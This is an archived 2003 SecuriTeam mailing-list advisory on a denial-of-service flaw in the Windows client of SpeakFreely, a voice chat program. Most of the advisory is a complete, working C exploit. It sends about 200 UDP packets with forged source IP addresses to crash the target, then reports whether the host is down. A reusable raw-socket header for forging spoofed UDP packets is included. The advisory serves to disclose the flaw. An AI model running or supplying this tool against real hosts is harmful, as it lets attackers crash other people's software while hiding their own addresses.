[NT] SpeakFreely Spoofed DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 09/23/03

  • Next message: SecuriTeam: "[NT] Microsoft BizTalk Server ISAPI HTTP Receive Function Buffer Overflow (biztalkhttpreceive.dll)"
    To: list@securiteam.com
    Date: 23 Sep 2003 17:46:52 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      SpeakFreely Spoofed DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.fourmilab.ch/speakfree/> SpeakFreely is "an interesting
    real-time voice chat application with cryptographic support developed by
    John Walker and now the project will be continued on Sourceforge by a
    group of programmers and fans. The program is multiplatform, opensource
    and is also used as add-on of ICQ".

    A vulnerability in the product allows remote attackers to crash the client
    by issuing multiple spoofed connections to it.

    DETAILS

    Vulnerable systems:
     * SpeakFreely version 7.6a and prior

    The bug exists only in the Windows version of the program (the project at
    the moment is composed by 2 versions, one for UNIX and another for
    Windows). Practically the resources of SpeakFreely can be easily consumed
    using spoofed source IP addresses (the connections happen through UDP).

    Under Windows 98SE less than 200 spoofed packets crash the program
    remotely (about 160 packets).

    In fact, after some packets, the following messages will be shown on the
    victim:

    "Cannot create transmit socket for host (x.x.x.x), error 10055. No buffer
    space is available"

    Then it will crash.

    SpeakFreely has not a specific server and client; when it is launched is
    both client and server at the same time, so everyone who uses the Windows
    version can be DoSed by an attacker that has the ability to send spoofed
    packets.

    The most crucial part of the attack is its speed, however we needed only
    to send 2 bytes in each packet therefore almost anyone will be able to
    initiate an attack.

    Exploit:
    sfdos.c
    /*

    UNIX VERSION

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <netdb.h>
    #include <time.h>
    #include "send_udp_fast.h"

    #define VER "0.1"
    #define TIMEOUT 5
    #define DPORT 2075
    #define SPORT 2075
    #define MAXPCKS 256
    #define PCK "\x40\xC9"

    // other packets
    /*
    #define PCK "\x40\xC9\x00\x01\x38\x8B\x06\x7A" \
                        "\x81\xCA\x00\x0A\x38\x8B\x06\x7A" \
                        "\x01\x00\x03\x00\x06\x1C" \
                        "Speak Freely exploit running\0\0"

    #define PCK "\x40\xc9\x00\x01\x32\x66\xce\xe5" \
                        "\x81\xca\x00\x0c\x32\x66\xce\xe5" \
                        "\x01" \
                        "\x0b" "root@(none)" \
                        "\x02" \
                        "\x04" "root" \
                        "\x06" \
                        "\x15" "Speak Freely for Unix" \
                        "\x00\x00"
    */

    int timeout(int sock);
    u_long resolv(char *host);

    int main(int argc, char *argv[]) {
        int sd,
                    err,
                    i,
                    pcksz = sizeof(PCK) - 1;
        struct sockaddr_in peerc,
                            peers;
        u_long source,
                    dest;
        u_short sport,
                    dport;

        srand(time(NULL));

        setbuf(stdout, NULL);
        
        fputs("\n" \
            "Speak Freely for Windows <= 7.6a spoofed DoS "VER"\n" \
            "by Luigi Auriemma\n" \
            "e-mail: aluigi@altervista.org\n" \
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s <SpeakFreely_host>
    [starting_source_host(random)]\n"
                "\n", argv[0]);
            exit(1);
        }

        if(argc > 2) source = resolv(argv[2]);
            else source = rand();
        dest = resolv(argv[1]);
        dport = htons(DPORT);
        sport = htons(SPORT);

        printf("The sequential source IP will start from: %s:%d\n"
            "Sending %d packets from sequential IP addresses\n",
            inet_ntoa(*(struct in_addr *)&source),
            SPORT,
            MAXPCKS);

        for(i = 0; i < MAXPCKS; i++) {
            send_udp_fast(
                source,
                dest,
                sport,
                dport,
                PCK,
                pcksz,
                1);

            fputc('.', stdout);
            source += 0x01000000;

            usleep(50000);
    // sleep(0);
    // you can also use sleep(0), suggested if you are on a slow network
        }

        fputs("\n\n"
            "Exploit terminated\n"
            "Now I will check if the remote host is down...\n", stdout);

        peerc.sin_addr.s_addr = dest;
        peerc.sin_port = dport;
        peerc.sin_family = AF_INET;

        peers.sin_addr.s_addr = INADDR_ANY;
        peers.sin_port = sport;
        peers.sin_family = AF_INET;

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        err = bind(sd, (struct sockaddr *)&peers, sizeof(peers));
        if(err < 0) std_err();
        err = sendto(sd, PCK, pcksz, 0, (struct sockaddr *)&peerc,
    sizeof(peerc));
        if(err < 0) std_err();
        err = timeout(sd);
        if(err < 0) fputs("\nHost successfully CRASHED!!!\n\n", stdout);
            else fputs("\nRemote host is NOT vulnerable\n\n", stdout);

        close(sd);

        return(0);
    }

    int timeout(int sock) {
        struct timeval timeout;
        fd_set fd_read;
        int err;

        timeout.tv_sec = TIMEOUT;
        timeout.tv_usec = 0;

        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
        if(err < 0) std_err();
        if(!err) {
            fputs("\nError: Socket timeout, no answers received\n", stdout);
            return(-1);
        }
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolve hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)(hp->h_addr);
        }

        return(host_ip);
    }

    send_udp_fast.h:
    /*

    Header file for send UDP spoofed packets (FAST version)
    by Luigi Auriemma
    e-mail: aluigi@pivx.com
    web: http://aluigi.altervista.org

    VERSION 0.1.2

    For use this header file, simply add #include "send_udp_fast.h" to
    your source code.

    This function need the following parameters:

    - src = 32 bit long number that identify the source IP (example:
                0x0100007f)
    - dst = 32 bit long number that identify the destination IP
    - sport = big endian source port (you must use htons) (example: port
                80 = 0x5000)
    - dport = big endian destination port (you must use htons)
    - data = data to insert in the packet
    - datalen = size of the data to insert in the packet
    - num = how many packets send

    NOTE:
    - sport and dport must be in big endian
    - if one of the port is equal to 0, it will be randomized
    - ID and TTL of the IP header are randomized but are the same for all
      the packets
    - if you need a more simple function for send spoofed UDP datagrams,
      you must use send_udp_full.h

    Example:
    send_udp_fast(
        inet_addr("127.0.0.1"), //source
        IP_OF_"www.microsoft.com", //destination (you need the
                                        //numeric IP of the destination
        htons(80), //source port
        0, //random destination port
        "Hello how are you?", //data (NULL for empty packet)
        18, //data length (0 for empty packet)
        3); //number of packets

    LINUX VERSION

    */

    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <string.h>
    #include <time.h>

    #define IPSZ sizeof(struct iphdr)
    #define UDPSZ sizeof(struct udphdr)
    #define PSEUDOSZ sizeof(struct pseudohdr)
    #define SIZE (IPSZ + UDPSZ + datalen)
    #define SENDUDPDELAY 0

    void send_udp_fast(
        u_long src,
        u_long dst,
        u_short sport,
        u_short dport,
        u_char *data,
        u_short datalen,
        u_long num);
    u_short in_cksum(u_short *addr, int len);
    void std_err(void);

    struct pseudohdr {
        u_int32_t saddr;
        u_int32_t daddr;
        u_int8_t zero;
        u_int8_t protocol;
        u_int16_t length;
    } *pseudohdr;

    /*
    for more speed the ports must be given with htons (big endian) so the
    function doesn't need to make this operation everytime

    it supports the randomization of the source and dest port if equal to 0
    */

    void send_udp_fast(
        u_long src,
        u_long dst,
        u_short sport,
        u_short dport,
        u_char *data,
        u_short datalen,
        u_long num) {

        u_char buff[SIZE],
                pseudobuff[PSEUDOSZ + UDPSZ + datalen],
                *datapck;
        struct sockaddr_in peer;
        struct iphdr *iphdr;
        struct udphdr *udphdr;
        int sd,
            err;

        srand(time(NULL));

        if(!sport) sport = rand();
        if(!dport) dport = rand();

        peer.sin_addr.s_addr = dst;
        peer.sin_port = dport;
        peer.sin_family = AF_INET;

        iphdr = (struct iphdr *)buff;
        udphdr = (struct udphdr *)(buff + IPSZ);
        datapck = (u_char *)(buff + IPSZ + UDPSZ);
        pseudohdr = (struct pseudohdr *)pseudobuff;

        /* build IP header */
        iphdr->ihl = 5;
        iphdr->version = 4;
        iphdr->tos = 0x10;
        iphdr->tot_len = SIZE;
        iphdr->id = rand();
        iphdr->frag_off = 0;
        iphdr->ttl = (rand() >> 24) + 120;
        iphdr->protocol = IPPROTO_UDP;
        iphdr->check = 0;
        iphdr->saddr = src;
        iphdr->daddr = dst;

        /* build UDP header */
        udphdr->source = sport;
        udphdr->dest = dport;
        udphdr->check = 0;
        udphdr->len = htons(UDPSZ + datalen);

        /* build data */
        memcpy(datapck, data, datalen);

        /* build pseudo header for calculate checksum (copy UDP header and
    data in it) */
        memcpy(pseudobuff + PSEUDOSZ, udphdr, UDPSZ + datalen);

        pseudohdr->saddr = iphdr->saddr;
        pseudohdr->daddr = iphdr->daddr;
        pseudohdr->zero = 0;
        pseudohdr->protocol = IPPROTO_UDP;
        pseudohdr->length = udphdr->len;

        udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ + UDPSZ +
    datalen);

        /* send all */
        sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if(sd < 0) std_err();

        for(; num > 0; num--) {
            err = sendto(sd, buff, SIZE, 0, (struct sockaddr *)&peer,
    sizeof(peer));
            if(err < 0) std_err();
            usleep(SENDUDPDELAY);
        }
        close(sd);
    }

    u_short in_cksum(u_short *addr, int len) {
            int sum = 0;
            u_short answer = 0;
            register u_short *w = addr;
            register int nleft = len;

            while(nleft > 1) {
                    sum += *w++;
                    nleft -= 2;
            }
            if(nleft == 1) {
                    *(u_char *)(&answer) = *(u_char *)w ;
                    sum += answer;
            }
            sum = (sum >> 16) + (sum & 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
            return(answer);
    }

    void std_err(void) {
        perror("\nError");
        exit(1);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Microsoft BizTalk Server ISAPI HTTP Receive Function Buffer Overflow (biztalkhttpreceive.dll)"

    Relevant Pages